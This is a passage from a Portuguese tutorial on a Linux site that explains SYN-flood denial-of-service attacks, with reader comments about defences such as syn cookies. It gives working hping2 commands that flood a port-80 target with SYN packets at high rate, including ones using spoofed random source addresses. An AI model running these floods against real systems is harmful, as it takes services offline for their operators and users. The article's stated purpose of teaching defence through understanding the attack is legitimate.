Um dia depois da inundação

Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as tentativas de acessos indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a natureza do ataque.

[ Hits: 27.778 ]

Por: cristofe coelho lopes da rocha em 14/12/2008


Ataque dinâmico com HPING



Resumo

Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as tentativas de acessos indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a natureza do ataque.

Foi utilizada a distribuição Linux Debian 4 com o kernel versão 2.6.2x para testes e exemplos usados para o desenvolvimento desse artigo.

Introdução

O HPING é um software poderoso quando se fala de ataque de negação de serviço e para tanto é preciso conhecer a relação cliente/servidor, ou seja, three-way handshake. As mensagens servidor/cliente são trocadas em 3 vias.

O cliente envia uma requisição de conexão: pacote com flag syn com um determinado número de sequência x. O servidor recebe o pacote e responde com uma mensagem de reconhecimento: flag syn-ack com um número de sequência x+1 e y. O cliente reconhece o pacote syn-ack com y+1 e a conexão está estabelecida.

Para complementar, a conexão é fechada quando o cliente ou servidor envia um pacote com flag fin ou de forma abrupta com uma flag rst. Com base nestes conhecimentos, um ataque do tipo Syn-flood ou enxurrada de pacotes é utilizado para desestabilizar ou derrubar recursos computacionais e podem acontecer em vários níveis do protocolo TCP.

O ataque consiste no envio de uma grande quantidade de pacotes com flags setadas SYN para a vítima, de tal maneira que a mesma não consiga responder a todos as requisições. Com um grande número de pacotes SYN apilha de memória sofre um estouro e todas as requisições são desprezadas.

Exemplos de ataque

Exemplo 1:

A sintaxe do comando é a seguinte:

$ hping2 <host da vítima> <parâmetros>

# hping2 23.23.23.2 -p 80 -S -c 3
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=0 win=32792 rtt=0.2 ms
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=1 win=32792 rtt=0.1 ms
len=44 ip=23.23.23.2 ttl=64 DF id=0 sport=80 flags=SA seq=2 win=32792 rtt=0.1 ms

Nesta linha disparamos: -p 80 -c 3 (-p aponta a porta de envio dos pacotes e -c --count count seta a quantidade de pacotes). Desta maneira podemos avaliar as respostas do alvo.

Exemplo 2:

# hping2 23.23.23.2 -p 80 -S --faster --rand-source
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S --fast --rand-source (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-source habilita o modo radom e troca o ip de origem dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips diferentes a cada pacote enviado. Até o momento em que este alvo não poderá responder todas as requisições e o kernel negará o serviço.

Obs.: CUIDADO com o teste utilizando esta linha, pois o host de destino não irá responder caso a segurança necessária não esteja implementada.

Etherape no momento da simulação do Ataque
Exemplo 3:

# hping2 23.23.23.2 -p 80 -S --faster --rand-dest
HPING 23.23.23.2 (eth0 23.23.23.2): S set, 40 headers + 0 data bytes

Nesta linha disparamos: -p 80 -S --fast --rand-dest (-S setamos a flag como syn, --fast Alias for -i u10000. O Hping irá enviar 10 pacotes por segundos; --rand-dest habilita o modo radom e troca o ip de destino dinamicamente). Desta forma enviaremos a cada segundo 10 tentativas de conexão sem esperar a resposta do host-alvo com ips alvos diferentes a cada pacote enviado.

As flags podem ser setadas das seguintes formas:
  • -F --fin - Seta FIN tcp flag.
  • -S --syn -Seta SYN tcp flag.
  • -R --rst - Seta RST tcp flag.
  • -P --push - Seta PUSH tcp flag.
  • -A --ack - Seta ACK tcp flag.
  • -U --urg - Set URG tcp flag.
  • -X --xmas - Set Xmas tcp flag.

Modo de escuta:
  • -9 --listen signature

HPING2 em modo de escuta. Utilizando esta opção o hping aguarda pelo pacote que contém esta assinatura e finaliza o pacote que contém a assinatura.

Exemplo.:

# hping2 -9 --listen 234-09sdflkjs45 -TESThello_word

    Próxima página

Páginas do artigo
   1. Ataque dinâmico com HPING
   2. Defesa baseada no conhecimento
Outros artigos deste autor

Varredura bruta com NMAP

Fingerprint: Conhecimento TCP

Backups com TAR e DUMP

Alta disponibilidade com CARP

Festa com SQL injection

Leitura recomendada

Resumo da Norma ISO/IEC 13335-3

Quão segura é a sua senha?

Snort + ACID + MySQL no Slackware

Segurança da Informação na Internet

Resetando senha de usuário root em sistemas Debian e Red Hat

  
Comentários
[1] Comentário enviado por calaff2 em 14/12/2008 - 22:15h

Muito bom cara ! gostei se tiver outros sistema para eu testar a falha de segurança e tiver como me mandar eu fico grato.

Att: Idalmo Junior
calaff2@hotmail.com

[2] Comentário enviado por info24hs em 15/12/2008 - 08:45h

Boa dica..

[3] Comentário enviado por elgio em 15/12/2008 - 09:45h

Chegaste a ler http://www.vivaolinux.com.br/artigo/Iptables-protege-contra-SYN-FLOOD/

Tem também uma RFC lançada em Agosto de 2007 que trata especificamente de Syn Flood: http://rfc-editor.org/rfc/rfc4987.txt

O fato é que este tipo de ataque (Syn Flood) não se pode evitar com regras de firewall. Tentar só agrava o problema, tornando a negação de serviço mais fácil.

Basicamente um atacante para realizar a negação por syn flood precisa (a) falsificar o seu Ip de origem e (b) ter condições de gerar muitos, mas muitos syn MESMO (dado a quantidade de memória que os servidores tem hoje).

O item (b) é hoje muito difícil de se obter com uma única máquina atacando, o que requer que o atacante tenha diversas máquinas escravinhas a seu comando (Negação de serviço distribuída).

Com regra de firewall limitando os Syns à taxa de 1 por segundo, esta tarefa ficou HIPER fácil: o atacante precisa agora apenas manter uma taxa igual ou maior que 1/s para derrubar o servidor. Sim, porque o segundo SYN no mesmo segundo pode ser de um cliente legítimo que será DROPADO. Agora é teu firewall quem tira o serviço do ar!!!

Por isto que sou crítico a esta falsa proteção e tenho me manifestado sobre isto sempre que alguém prega o firewall com solução para Syn flood.

Esta palestra: http://gravatai.ulbra.tche.br/tchelinux2008/Elgio-Negacao_de_servico_e_formas_de_defesa.pdf ilustra o ataque de syn flood e as formas de defesa (na verdade A FORMA: syn cookie)


[4] Comentário enviado por elgio em 15/12/2008 - 10:04h

esta regra de iptables torna ainda mais fácil derrubar o servidor. BARBADA!

[5] Comentário enviado por cristofe em 15/12/2008 - 11:53h

Caro Colega elgio,
Realmente a regra do IPTABLES nao é eficaz, contudo em seguida foi colocada uma proposta de solucao "NAO DEFINITIVA" que é melhore, este é o foco do artigo mostrar como se faz um ataque e qual seria a melhor solucao no caso o syn cookie e nao com IPTABLES. Nao sei se me fiz entender?

Abraco,

Cristofe Rocha

[6] Comentário enviado por elgio em 15/12/2008 - 12:01h

O problema é que a regra de iptables colocada está longe de ser uma solução. Ela agrava o problema.

[7] Comentário enviado por cristofe em 15/12/2008 - 12:19h

A solucao com IPTABLES foi citada no artigo como nao eficaz. Obrigado por ter editado sua postagem. Ficou mais ética agora.
E agradeco pela crítica agora construtiva.
Cristofe Rocha

[8] Comentário enviado por vagschubert em 15/12/2008 - 20:09h

Olá Cristofe,

De fato, como vc afirma no Artigo, a regra do IPTABLES não é a mais indicada, mas eu particularmente gostei e aprovei segunda solução, onde se altera o arquivo sysctl.conf.

É realmente uma ótima postagem.


Parabéns!!

[9] Comentário enviado por julianjedi em 15/12/2008 - 22:23h

Muito Interessante ... Bem didático mesmo ...

Parabéns

[10] Comentário enviado por lara2rocha em 16/12/2008 - 11:37h

Parabéns bem didático mesmo. Fazer Tyne de Kernel é a melhor solucao quando se fala de syn flood.
Muito Bom. Será que vc tem mais alguns ??? hein.
Abraco

[11] Comentário enviado por gilroque em 16/12/2008 - 13:18h

muito bom seu artigo, está de parabéns !!!! Abre os olhos de um Administrador de rede no que se diz respeito a implentar e identificar meios de segurança....

[12] Comentário enviado por reyfernandes em 16/12/2008 - 17:33h

Acho que o artigo poderia ser mais profundo, explicando cada um dos parâmetros do kernel alterados. Será que todos eles são realmente necessários para se proteger de syn-flood?
Fora alguns problemas de redação, parabéns pela iniciativa de compartilhar o conhecimento!

[13] Comentário enviado por cristofe em 17/12/2008 - 11:51h

Como foi falado no início do artigo

Nesse artigo entenderemos uma das grandes dificuldades dos administradores de rede de computadores, que são as TENTATIVAS DE ACESSO indevidos ou ataques investidos na rede. O interesse aqui é mostrar que a melhor defesa se faz quando se conhece a NATUREZA DO ATAQUE.
Fico te devendo parau m outro momento.
Abraco,
Por: cristofe coelho lopes da rocha

[14] Comentário enviado por cristofe em 17/12/2008 - 11:52h

<<< ERRATA >>>

net.ipv4..tcp_syncookies=1
Esta é a linha responsável por SYN FLOOD

Por: cristofe coelho lopes da rocha

[15] Comentário enviado por removido em 17/12/2008 - 15:39h

Ótimo artigo,muito bom mesmo

[16] Comentário enviado por isornberger em 21/10/2012 - 23:18h

Muito interessante, as redes são alvo de ataques, e ultimamente esse tipo tem sido constante ( por exemplo site da Petrobrás, IBGE, Detran entre outro do governo). E é necessário que a equipe de segurança busque a proteção de rede e faça a defesa conhecendo cada tipo de ataque e defendendo da maneira correta, para evitar futuras complicações.


Contribuir com comentário




Patrocínio

Site hospedado pelo provedor RedeHost.
Linux banner

Destaques

Artigos

Dicas

Tópicos

Top 10 do mês

Scripts